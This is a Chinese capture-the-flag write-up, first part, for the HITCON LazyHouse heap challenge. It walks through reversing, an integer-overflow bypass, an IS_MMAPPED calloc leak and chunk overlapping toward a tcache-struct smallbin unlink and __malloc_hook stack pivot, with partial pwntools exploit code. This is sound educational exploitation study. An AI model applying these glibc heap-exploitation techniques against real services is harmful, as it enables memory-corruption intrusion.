LazyHouse HITCON的题目真的是超级高了,这道还是angelboy大佬的题目。复现的过程主要参考的是这一篇:
作者的Twitter: Faith(@farazsth98)
其他的博客也很赞!
exp是参考的Balsn 战队的。真的是太强了。
Reversing 在main函数可以看到开启了sandbox:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 void __fastcall main (__int64 a1, char **a2, char **a3) { unsigned __int64 choice; setup(); sandbox_start(); while ( 1 ) { menu(); choice = read_int(); if ( choice <= 6 ) break ; print_str("Invalid Choice" ); } JUMPOUT(__CS__, (char *)dword_3298 + dword_3298[choice]); }
通过seccomp-tools查看禁用的情况:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 root@lazy:/ctf/work# seccomp-tools dump ./lazyhouse line CODE JT JF K ================================= 0000 : 0x20 0x00 0x00 0x00000004 A = arch 0001 : 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003 0002 : 0x06 0x00 0x00 0x00000000 return KILL 0003 : 0x20 0x00 0x00 0x00000000 A = sys_number 0004 : 0x15 0x00 0x01 0x0000000f if (A != rt_sigreturn) goto 0006 0005 : 0x06 0x00 0x00 0x7fff0000 return ALLOW 0006 : 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0008 0007 : 0x06 0x00 0x00 0x7fff0000 return ALLOW 0008 : 0x15 0x00 0x01 0x0000003c if (A != exit ) goto 0010 0009 : 0x06 0x00 0x00 0x7fff0000 return ALLOW 0010 : 0x15 0x00 0x01 0x00000002 if (A != open) goto 0012 0011 : 0x06 0x00 0x00 0x7fff0000 return ALLOW 0012 : 0x15 0x00 0x01 0x00000000 if (A != read) goto 0014 0013 : 0x06 0x00 0x00 0x7fff0000 return ALLOW 0014 : 0x15 0x00 0x01 0x00000001 if (A != write) goto 0016 0015 : 0x06 0x00 0x00 0x7fff0000 return ALLOW 0016 : 0x15 0x00 0x01 0x0000000c if (A != brk) goto 0018 0017 : 0x06 0x00 0x00 0x7fff0000 return ALLOW 0018 : 0x15 0x00 0x01 0x00000009 if (A != mmap) goto 0020 0019 : 0x06 0x00 0x00 0x7fff0000 return ALLOW 0020 : 0x15 0x00 0x01 0x0000000a if (A != mprotect) goto 0022 0021 : 0x06 0x00 0x00 0x7fff0000 return ALLOW 0022 : 0x15 0x00 0x01 0x00000003 if (A != close) goto 0024 0023 : 0x06 0x00 0x00 0x7fff0000 return ALLOW 0024 : 0x06 0x00 0x00 0x00000000 return KILL
允许的系统调用有:rt_sigreturn,exit_group,exit,open,read,write ,brk,mmap,mprotect ,close。其中的orw大概是预期的拿flag的方法。mprotect应该是提供了写shellcode的可能性。angelboy本人的exp中使用的就是写shellcode的方法。
程序本身理解起来很容易:
1 2 3 4 5 6 7 8 9 10 11 12 wgn@ubuntu:/mnt/hgfs/share/lazy$ ./lazyhouse $$$$$$$$$$$$$$$$$$$$$$$$$$$$ 🍊 Lazy House 🍊 $$$$$$$$$$$$$$$$$$$$$$$$$$$$ $ 1. Buy House $ $ 2. Show Lay's house $ $ 3. Sell $ $ 4. Upgrade $ $ 5. Buy a super house $ $ 6. Exit $ $$$$$$$$$$$$$$$$$$$$$$$$$$$ Your choice:
初始化的money为0x1c796。存在一个全局的house_list,最大的大小为8。
1 2 3 4 5 6 7 struct house { char * description; uint64_t size; uint64_t price; } struct house_list [8];
这是普通的house,还有一个super house:
1 2 3 4 5 6 7 struct super_house { char * description; uint64_t size; uint64_t price; } struct super_house superhouse ;
buy a normal house 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 unsigned __int64 buy () { unsigned __int64 index; unsigned __int64 size; void *ptr; char s; unsigned __int64 v5; v5 = __readfsqword(0x28 u); memset (&s, 0 , 0x100 uLL); snprintf (&s, 0x100 uLL, "Your money:%lu" , money); print_var(&s); print_str("Index:" ); index = read_int(); if ( index > 7 || house_list[3 * index] ) { print_var("Invalid !" ); } else { print_str("Size:" ); size = read_int(); if ( size > 0x7F ) { if ( 218 * size <= money ) { memset (&s, 0 , 0x100 uLL); snprintf (&s, 0x100 uLL, "Price:%lu" , money); print_var(&s); house_list[3 * index + 2 ] = size << 6 ; house_list[3 * index + 1 ] = size; money -= 218 * size; ptr = calloc (1u LL, size); if ( ptr ) { print_str("House:" ); read_str((__int64)ptr, size); house_list[3 * index] = ptr; } else { print_var("Buy error" ); } } else { print_var("You don't have enough money!" ); } } else { print_var("Lays don't like a small house" ); } } return __readfsqword(0x28 u) ^ v5; }
在比较money的时候存在整数溢出:
1 if ( 218 * size <= money )
对应的汇编为:
1 2 3 4 5 6 7 8 loc_1C84: mov rax, [rbp+size] imul rax, 0DAh mov [rbp+var_120], rax lea rax, money mov rax, [rax] cmp [rbp+var_120], rax jbe short loc_1CBD
最开始以为是乘成一个负数来溢出,其实不是。注意到这里的money是qword 8字节的类型,在比较的时候只会比较低8字节,如果我们设置一个很大的size,使得乘218的结果超过8字节,但是低八字节的值比money小,就可以绕过了。
1 2 3 4 5 >>> size = ((2 **64 -1 )/218 )+1 >>> hex(size*218 )'0x10000000000000098L' >>> hex(0x10000000000000098L &0xffffffffffffffff )'0x98L'
这里取的size使得比较时乘法结果为0x98,从而绕过。
⚠️注意:buy的时候是用calloc 来分配内存的。
show a house 1 2 3 4 5 6 7 8 9 10 11 12 13 ssize_t show(){ ssize_t result; unsigned __int64 index; print_str("Index:" ); index = read_int(); if ( index <= 7 && house_list[3 * index] ) result = write(1 , (const void *)house_list[3 * index], house_list[3 * index + 1 ]); else result = print_var("Invalid !" ); return result; }
输出使用的是write函数,遇到\x00不会截断。
sell a house 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 _QWORD *sell () { _QWORD *result; unsigned __int64 index; print_str("Index:" ); index = read_int(); if ( index > 7 ) return (_QWORD *)print_var("Invalid !" ); free ((void *)house_list[3 * index]); qword_5010 += house_list[3 * index + 2 ]; house_list[3 * index] = 0L L; house_list[3 * index + 1 ] = 0L L; result = &house_list[3 * index + 2 ]; *result = 0L L; return result; }
free之后指针置NULL,没有uaf。
upgrade a house 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 void *upgrade () { __int64 size; void *result; unsigned __int64 index; if ( upgrade_choice <= 0 ) return (void *)print_var("You cannot upgrade again !" ); print_str("Index:" ); index = read_int(); if ( index > 7 || !house_list[3 * index] ) return (void *)print_var("Invalid !" ); size = house_list[3 * index + 1 ]; print_str("House:" ); read_str(house_list[3 * index], size + 32 ); house_list[3 * index + 2 ] = 218 * size; result = &upgrade_choice; --upgrade_choice; return result; }
做了次数限制,最多可以编辑两次。之后可以看到编辑时存在一个堆溢出,能够溢出0x20字节。正常的话,如果想要扩充块的大小,应当使用realloc,但是这里没有。
buy a super house 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 unsigned __int64 buy_super () { char s; unsigned __int64 v2; v2 = __readfsqword(0x28 u); if ( super_house[0 ] ) { print_var("Lays already has a super house!" ); } else { if ( (unsigned __int64)money <= 0x216FFFFF ) { print_var("You don't have enough money to buy the luxury house" ); _exit(535 ); } money -= 0x21700000 LL; memset (&s, 0 , 0x300 uLL); print_str("House:" ); read_str((__int64)&s, 0x217 u); super_house[0 ] = (char *)malloc (0x217 uLL); memset (super_house[0 ], 0 , 0x217 uLL); strncpy (super_house[0 ], &s, 0x217 uLL); super_house[2 ] = (char *)0x21700000 ; super_house[1 ] = (_BYTE *)(&off_210 + 7 ); print_var("Done!" ); } return __readfsqword(0x28 u) ^ v2; }
super house并不在house_list中,我们无法对其进行upgrade、show、sell的操作。
⚠️注意:super house是通过malloc来分配内存的。
Exploitation 先放出利用的大体思路:
通过整数溢出获得足够多的钱
由于calloc不会清空IS_MMAPPED的块,以此泄露heap和libc地址
通过堆溢出构造堆块重叠,在tcache_pthread_struct中伪造一个chunk
通过smallbin unlink attack拿到tcache_pthread_struct中的fake chunk,修改一个bin指向malloc_hook
将malloc_hook改为leave; ret的地址
calloc调用时可以通过rdi, rsi设置jmp __malloc_hook前的rbp的值,从而stack pivot到heap上的ROP chain
通过orw的方法拿到flag
这道题目的exp大概是写过的最长的exp了..学到了很多没见过的手法。
get enough money 我们想要的效果是,size218是一个超过2* 64的值,但是超过的部分要小于money。
1 2 3 4 5 6 7 8 9 def get_money () : size = (2 **64 /218 )+1 p.sendlineafter('choice' , '1' ) p.sendlineafter('Index:' , str(0 )) p.sendlineafter('Size:' , str(size)) delete(0 )
直接除218会有余数,补一个1就可以了。
leak heap and libc 这看起来似乎很难,因为能show的house都是通过calloc来分配的,而且没有uaf。
看一下calloc的源码(3468行):
1 2 3 4 5 6 7 8 9 if (chunk_is_mmapped (p)) { if (__builtin_expect (perturb_byte, 0 )) return memset (mem, 0 , sz); return mem; }
当找到的chunk p是mmap的,就会直接返回p,而不会进行memset的清空操作。
1 2 #define chunk_is_mmapped(p) ((p)->mchunk_size & IS_MMAPPED)
所以,如果能够拿到一个设置了IS_MMAPPED的块,其中如果有libc和heap的指针,我们就可以泄露了。mmap的标志位可以通过堆溢出来达成。如果这个块是large bin的话,就可以同时泄露了。要想变成largebin,可以先进入unsortedbin,之后alloc另一个更大的块使得进入largebin。
步骤:
calloc A, B, C
delete B, B进入到unsortedbin
calloc D, D要大于B, B进入largebin,有了heap和libc地址在fd, bk, fd_nextsize, bk_nextsize上
edit A,设置B的IS_MMAPPED标志位
calloc取回B,show B,泄露
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 add(0 , 0x80 , 0x80 *'0' ) add(1 , 0x500 , 0x500 *'1' ) add(2 , 0x80 , 0x80 *'2' ) delete(1 ) add(1 , 0x600 , 0x600 *'1' ) pl = 0x88 *'\x00' +p64(0x510 +1 +2 ) edit(0 , pl) add(7 , 0x500 , 'a' *8 ) show(7 ) p.recvuntil(8 *'a' ) leak = u64(p.recv(6 ).ljust(8 , '\x00' )) log.info('leak: ' +hex(leak)) libc_base = leak-0x1e50d0 log.info('libc_base: ' +hex(libc_base)) p.recv(2 ) leak = u64(p.recv(6 ).ljust(8 , '\x00' )) log.info('leak: ' +hex(leak)) heap_base = leak+0x55bb7cebe000 -0x55bb7cebe2e0 log.info('heap_base: ' +hex(heap_base))
ROP on heap stack pivot to heap via calloc 由于沙箱的原因不能getshell。Balsn的exp中将__malloc_hook覆盖为leave; ret的地址,劫持栈到堆上进行ROP来orw拿flag。
⚠️注意:这种栈劫持的方法只有在__malloc_hook通过calloc调用时可行。
这是因为calloc中通过参数可以控制jmp rax之前的rbp的值。看一下calloc的汇编:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 ;调用calloc(1, size) rdi = 1, rsi = size Dump of assembler code for function __libc_calloc: 0x00007f989681ba00 <+0>: mov rdx,rdi 0x00007f989681ba03 <+3>: push r14 0x00007f989681ba05 <+5>: mov eax,0xffffffff 0x00007f989681ba0a <+10>: push r13 0x00007f989681ba0c <+12>: or rdx,rsi 0x00007f989681ba0f <+15>: push r12 0x00007f989681ba11 <+17>: push rbp 0x00007f989681ba12 <+18>: mov rbp,rdi ;<== rbp=1 0x00007f989681ba15 <+21>: push rbx 0x00007f989681ba16 <+22>: imul rbp,rsi ;<== rbp=1*size 0x00007f989681ba1a <+26>: cmp rdx,rax 0x00007f989681ba1d <+29>: jbe 0x7f989681ba28 <__libc_calloc+40> ... 0x00007f989681ba28 <+40>: mov rax,QWORD PTR [rip+0x14a4c1] # 0x7f9896965ef0 0x00007f989681ba2f <+47>: mov rax,QWORD PTR [rax] 0x00007f989681ba32 <+50>: test rax,rax 0x00007f989681ba35 <+53>: jne 0x7f989681bcd0 <__libc_calloc+720> ... 0x00007f989681bcd0 <+720>: mov rsi,QWORD PTR [rsp+0x28] 0x00007f989681bcd5 <+725>: mov rdi,rbp 0x00007f989681bcd8 <+728>: call rax ;rbp is still 1*size, rax=__malloc_hook
可以看到在jmp rax之前,rbp的值都是1*size。size是我们输入的,所以rbp也是可控的,通过将__malloc_hook改为leave; ret就可以劫持栈了。由于之前已经泄露了libc和heap的地址,在堆上写好ROP chain之后地址也是已知的,ROP用到的pop ret的gadget在libc中也有。
那么现在的问题就是,怎么写malloc_hook呢?
smallbin unlink attack to get chunk near malloc_hook 还需要注意一点:
⚠️注意:calloc不会使用tcache中的chunk。
也就是说,我们free掉进入tcache的house都不能用了。且只有在buy super house的时候才会用malloc,但只能调用1次。这使得传统的改tcache bin fd的方法行不通。
根据Balsn的exp,我们的目标是在tcache_pthread_struct中分配一个块,从而拿到__malloc_hook位置的块,进而写hook。
如何才能在tcache_pthread_struct(以下简称struct)中构造一个fake chunk呢?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 typedef struct tcache_entry { struct tcache_entry *next ; } tcache_entry; typedef struct tcache_perthread_struct { char counts[TCACHE_MAX_BINS]; tcache_entry *entries[TCACHE_MAX_BINS]; } tcache_perthread_struct; static __thread tcache_perthread_struct *tcache = NULL ;
看struct的结构,前面是记录bins数量的,后面是bins中入口的指针。我们可以通过counts来伪造chunk的size,通过entries来伪造可能需要的fd和bk。
通过smallbin利用的话,在通过检查的情况下,将struct中的fake chunk通过BK链入到smallbin中,之后allocate,smallbin将BK指向的fake chunk返回给我们,我们就修改其中一个bin的entry为malloc_hook的地址,之后就可以拿到malloc_hook的块了。
接下来的任务就是怎么构造fake chunk出来。
构造和top chunk的consolidate进行堆块重叠
通过堆块重叠修改chunk的size,构造出0x20,0x30的chunk
删除0x20, 0x30的chunk,使得进入tcache,struct中保存了两个chunk的地址,作为struct中smallbin的fake fd和bk
填充0x210的tcache,使得之后的0x210的块进入smallbin,为smallbin unlink attack作准备
通过修改metadata,使得struct上的fake chunk和上面的smallbin连接,并通过检查
chunk overlapping 这部分比较好理解。
1 2 3 delete(0 ) delete(1 ) delete(2 )
由于我们能存储的块只有8个,先把没用的删掉。
我们试图构造这样的场景:chunk a , b, c, d, e , top chunk。在a中构造一个fake chunk,通过删除e,迫使e和a中的fake chunk合并,再和top chunk合并,使得top chunk回到a的fake chunk的位置。之后再allocate一个大块,就可以覆盖b,c,d。
如果想合并,需要设置prev_inuse为0,这可以通过堆溢出达到。另外,对e的prev_size也有要求。
在包括2.28的版本中:
1 2 3 4 5 6 7 if (!prev_inuse(p)) { prevsize = prev_size (p); size += prevsize; p = chunk_at_offset(p, -((long ) prevsize)); unlink(av, p, bck, fwd); }
合并的时候只根据prev_size找到要合并的块,之后就直接unlink。例如,当前要删除的chunk A的prev_inuse为0,根据A的prev_size找到chunk B,之后直接将A和B合并。而在2.29中:
1 2 3 4 5 6 7 8 9 if (!prev_inuse(p)) { prevsize = prev_size (p); size += prevsize; p = chunk_at_offset(p, -((long ) prevsize)); if (__glibc_unlikely (chunksize(p) != prevsize)) malloc_printerr ("corrupted size vs. prev_size while consolidating" ); unlink_chunk (av, p); }
新加入了对合并对象的size的检查 ,要等于删除块的prev_size,即期望合并的两个块是紧密相连的。例如A的prev_size是0x200,那么根据prev_size找到的chunk B的size也要是0x200的才行(不看标志位)。
另外,在unlink_chunk中需要绕过fd->bk == p && bk->fd == p
的检查。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 static void unlink_chunk (mstate av, mchunkptr p) { if (chunksize (p) != prev_size (next_chunk (p))) malloc_printerr ("corrupted size vs. prev_size" ); mchunkptr fd = p->fd; mchunkptr bk = p->bk; if (__builtin_expect (fd->bk != p || bk->fd != p, 0 )) malloc_printerr ("corrupted double-linked list" ); fd->bk = bk; bk->fd = fd; if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL ) {
这到不难。由于堆地址已经泄露出来了,绕过很容易。对应的到heap base的偏移通过gdb很容易得到。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 target = heap_base+0x890 pl = '' pl += p64(0 ) pl += p64(0x231 ) pl += p64(target+0x08 ) pl += p64(target+0x10 ) pl += p64(target) add(6 , 0x80 , pl) add(5 , 0x80 , 0x80 *'c' ) add(0 , 0x80 , 0x80 *'d' ) add(1 , 0x80 , 0x80 *'e' ) add(2 , 0x600 , 0x600 *'\x00' ) pl = 0x80 *'\x00' +p64(0x230 )+p64(0x610 ) edit(1 , pl) delete(2 )
这里通过一个图来表示过程:
这里通过chunk 2可以直接写chunk 5, 0, 1的值。这里把chunk 0和chunk 1的size分别改为0x30和0x20。而且把chunk 5的size修改为0x6c1(🤔️这个值怎么得出来的?)
现在我们有0x30, 0x20, 0x6c0的fake chunk了。
这之后我们删除chunk 0和chunk 1,进入tcache,struct中记录了这两个块的地址。
1 2 3 4 5 6 7 8 9 pl = 0x78 *'\x00' +p64(0x6c1 ) pl += 0x88 *'\x00' +p64(0x31 ) pl += 0x88 *'\x00' +p64(0x21 ) add(2 , 0x500 , pl) delete(0 ) delete(1 ) delete(2 )
tcache中的数据:
1 2 3 4 5 6 7 pwndbg> x/30 gx 0x561859478000 0x561859478000 : 0x0000000000000000 0x0000000000000251 0x561859478010 : 0x0200000000000101 0x0000000000000000 0x561859478020 : 0x0000000000000000 0x0000000000000000 0x561859478030 : 0x0000000000000000 0x0000000000000000 0x561859478040 : 0x0000000000000000 0x0000000000000000 0x561859478050 : 0x0000561859478a40 0x00005618594789b0
之后,先分配了0x1a0的块chunk 0。0x1a0=0x70+0x90*2+0x10。chunk 0在fake 0x20 chunk的数据部分前结束。这样下次分配时将从fake 0x20 chunk的数据部分开始分配。
之后分配0x210,这样在原来chunk 1的数据部分开始,我们布置了一个块。这么做的效果是,struct中的fake fd指向了chunk 1。
1 2 3 4 5 6 7 add(1 , 0x210 , 0x210 *'a' ) ''' 0x55b5fb86fa30: 0x0000000000000000 0x0000000000000000 <= fake chunk 0x20 from here 0x55b5fb86fa40: 0x0000000000000000 0x0000000000000221 <= chunk 1 start from here 0x55b5fb86fa50: 0x6161616161616161 0x6161616161616161 '''
之后我们又分配0x210的块,删掉,在tcache中保存了这个块的地址,分配回来。由于之后需要删掉fake chunk 0x6c0(chunk 5),为了绕过检查需要在chunk 5+0x6c0的位置写一个fake chunk header。这里将fake size写成0xd1,保证prev_inuse设置为1。
1 2 3 add(2 , 0x210 , 0x210 *'b' ) delete(2 ) add(2 , 0x210 , 0x148 *'\x00' +p64(0xd1 ))
此时tcache的状态(看低3位就好了):
1 2 3 4 5 tcachebins 0x20 [ 1 ]: 0x55c57e808a40 — 0x0 0x30 [ 1 ]: 0x55c57e8089b0 — 0x0 0x90 [ 2 ]: 0x55c57e808800 — 0x55c57e808260 — 0x0 0x220 [ 2 ]: 0x55c57e808e90 — 0x55c57e808c70 — 0x0
(之后的在下一篇中继续)。